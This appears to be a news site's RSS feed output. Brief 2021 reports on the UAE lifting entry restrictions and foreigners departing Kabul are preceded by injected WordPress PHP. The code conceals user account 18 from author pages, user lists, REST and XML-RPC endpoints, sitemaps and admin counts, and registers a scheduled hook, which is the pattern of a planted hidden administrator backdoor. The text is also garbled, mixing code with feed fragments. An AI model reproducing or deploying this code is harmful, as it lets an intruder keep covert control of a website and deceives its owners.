add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post UAE lifts restrictions on entry for residents from India and other countries appeared first on The Edge Media.
]]>It has also allowed residents from Pakistan, Bangladesh, Nepal, Sri Lanka, Vietnam, Namibia, Zambia, Democratic Republic of Congo, Uganda, Sierra Leone, Liberia, South Africa, Nigeria and Afghanistan as well to fly into the UAE from September 12.
Dubai is due to open the Expo 2020 World Fair on October 1, for which it has been preparing for almost a decade, after a year-long delay due to the pandemic. The nation which is a regional business and tourism hub is relying on Expo 2020 World Fair to give its economy a boost.
The organisers said they expected that the remaining flight restrictions imposed by the government will be lifted in time for Expo 2020. The UAE’s National Emergency Crisis and Disaster Management Authority on Twitter however said that approval needs to be sought from the government and various PCR tests will be conducted before entering the country.
The post UAE lifts restrictions on entry for residents from India and other countries appeared first on The Edge Media.
]]>The post Two hundred Americans and other foreigners set to depart from Kabul appeared first on The Edge Media.
]]>The departures will be among the first international flights to take off from Kabul airport since the Taliban seized the capital in mid-August, triggering the chaotic U.S.-led evacuation of 124,000 foreigners and at-risk Afghans.
The move comes two days after the Taliban announced an interim government made up mainly of ethnic Pashtun men including wanted terror suspects and Islamist hardliners, dashing international hopes for a more moderate administration.
The Taliban were pressed to allow the departures by U.S. Special Representative Zalmay Khalilzad, the U.S. official said, speaking to Reuters on condition of anonymity.
The official could not say whether the American civilians and other foreign nationals were among people stranded for days in the northern Afghan city of Mazar-i-Sharif because their private charters had not been allowed to depart.
The Taliban’s announcement of a new government on Tuesday was widely seen as a signal they were not looking to broaden their base and present a more tolerant face to the world, as they had suggested they would do before their military takeover.
Foreign countries greeted the interim government with caution and dismay on Wednesday. In Kabul, dozens of women took to the streets in protest.
Many critics called on the leadership to respect basic human rights and revive the economy, which faces collapse amid steep inflation, food shortages and the prospect of foreign aid being slashed as countries seek to isolate the Taliban.
The post Two hundred Americans and other foreigners set to depart from Kabul appeared first on The Edge Media.
]]>